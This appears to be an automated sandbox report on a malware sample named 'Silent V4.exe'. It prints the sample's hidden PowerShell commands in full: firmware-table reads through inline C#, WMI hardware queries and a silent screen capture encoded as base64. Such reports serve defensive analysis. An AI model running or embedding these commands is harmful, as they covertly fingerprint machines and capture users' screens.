Analysis

  • max time kernel
    149s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 16:07

General

  • Target
    Silent V4.exe
  • Size 117.0MB
  • Sample260415-tkp82afv6w
  • SHA256 3f35d63dd8619ff28f6beb4a9a0aa60cef6b3f08bcc1bb3d16070ab355900327
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Silent V4.exe
    "C:\Users\Admin\AppData\Local\Temp\Silent V4.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:5564
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2116
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pombgqa1\pombgqa1.cmdline"
          4⤵
            PID:4440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1100
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5220
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6100
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5836
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic baseboard get Manufacturer /format:list
          3⤵
            PID:1464
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4532
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic baseboard get Product /format:list
            3⤵
              PID:5344
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:244
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1580
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2140
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3612
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5764
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1120

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              koffi.node

              • Path C:\Users\Admin\.cache\pkg\df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9\koffi\build\koffi\win32_x64\koffi.node
              • Size 3.0MB
              • SHA256 df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 2KB
              • SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 a6e96a7bca5125529085f647e01e5a011984ec153f80dfcb998c52018fc8d4b1
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 255e283487a6dcfd45a7877a0b0bbdf641e6530bd6e985cc7e9364dd3d2d4c23
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 84dbf94d643a1f3abaa0b63cc1dce1093df5446f0aa44e4438af7e14982446d7
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 b98fddfce9185383cd12e552de2c7daeec68a5d2b2efc41af4c066c09d11a9c2
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 69a46f84f6faf1131352fb8a2ca326601490990379681e1a5c10a729207a2feb
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 1126da627cb86858c79fa0205e020fe25cbde2bbf08d083e1422a82294a44772
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 3d39580dca81c1baf00f4a818531c1bf44984e93e331c4fc233f0cd803c0be13
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 527583dacd97ac0330fcd30a301b422dc2b9894b292a38188ade6c96df764667
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 dae961ad4403f1e7e70b1515f76fc5b6a2173b118254baf3ea3e24f530bee63c
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_m5qrppni.eha.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m5qrppni.eha.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              pombgqa1.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pombgqa1\pombgqa1.0.cs
              • Size 679B
              • SHA256 297e8417ed84520876589c313fe6081e63b3c7d5edf178f50073481f3542ca67
              • MD5 SHA1 SHA512 TLSH

              pombgqa1.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pombgqa1\pombgqa1.cmdline
              • Size 369B
              • SHA256 18f14841613037620e3a35ace0df2e444dd155f1a8ecc6142acda16ec9a8e923
              • MD5 SHA1 SHA512 TLSH

              memory/1100-61-0x00000247D4070000-0x00000247D409A000-memory.dmp

              memory/1100-60-0x00000247D3DD0000-0x00000247D3DDA000-memory.dmp

              memory/1100-65-0x00000247BB2C0000-0x00000247BB2CC000-memory.dmp

              memory/1100-64-0x00000247B9880000-0x00000247B9A1A000-memory.dmp

              memory/1100-66-0x00000247D39E0000-0x00000247D39F2000-memory.dmp

              memory/1100-59-0x00000247D3D00000-0x00000247D3DB3000-memory.dmp

              memory/1100-58-0x00000247D3CE0000-0x00000247D3CFC000-memory.dmp

              memory/1100-62-0x00000247D4070000-0x00000247D4094000-memory.dmp

              memory/1120-191-0x000001F9ACFA0000-0x000001F9AD13A000-memory.dmp

              memory/1120-192-0x000001F9AD1E0000-0x000001F9AD1EC000-memory.dmp

              memory/1120-193-0x000001F9C6F20000-0x000001F9C6F32000-memory.dmp

              memory/1156-131-0x00000290FC050000-0x00000290FC05C000-memory.dmp

              memory/1156-132-0x00000290FC290000-0x00000290FC2A2000-memory.dmp

              memory/1580-166-0x000002D36F220000-0x000002D36F232000-memory.dmp

              memory/1580-165-0x000002D36ECE0000-0x000002D36ECEC000-memory.dmp

              memory/1580-164-0x000002D36D300000-0x000002D36D49A000-memory.dmp

              memory/2116-41-0x00000214EEC10000-0x00000214EEDAA000-memory.dmp

              memory/2116-27-0x00000214F0DA0000-0x00000214F0DC2000-memory.dmp

              memory/2116-43-0x00000214F0D70000-0x00000214F0D82000-memory.dmp

              memory/2116-42-0x00000214F0A10000-0x00000214F0A1C000-memory.dmp

              memory/2116-24-0x00000214F0A50000-0x00000214F0A60000-memory.dmp

              memory/3440-97-0x00000212F5580000-0x00000212F571A000-memory.dmp

              memory/3440-99-0x00000212F76E0000-0x00000212F76F2000-memory.dmp

              memory/3440-98-0x00000212F74B0000-0x00000212F74BC000-memory.dmp

              memory/3612-181-0x00000251AC4C0000-0x00000251AC4CC000-memory.dmp

              memory/3612-182-0x00000251C49F0000-0x00000251C4A02000-memory.dmp

              memory/4440-37-0x000002406C780000-0x000002406C78C000-memory.dmp

              memory/5796-115-0x00000210A5150000-0x00000210A515C000-memory.dmp

              memory/5796-114-0x00000210A4ED0000-0x00000210A506A000-memory.dmp

              memory/5796-116-0x00000210A6A90000-0x00000210A6AA2000-memory.dmp

              memory/5836-148-0x0000026C35870000-0x0000026C3587C000-memory.dmp

              memory/5836-147-0x0000026C33E60000-0x0000026C33FFA000-memory.dmp

              memory/5836-149-0x0000026C4DF00000-0x0000026C4DF12000-memory.dmp

              memory/6100-81-0x000001CFDDCB0000-0x000001CFDDCBC000-memory.dmp

              memory/6100-82-0x000001CFDDD60000-0x000001CFDDD72000-memory.dmp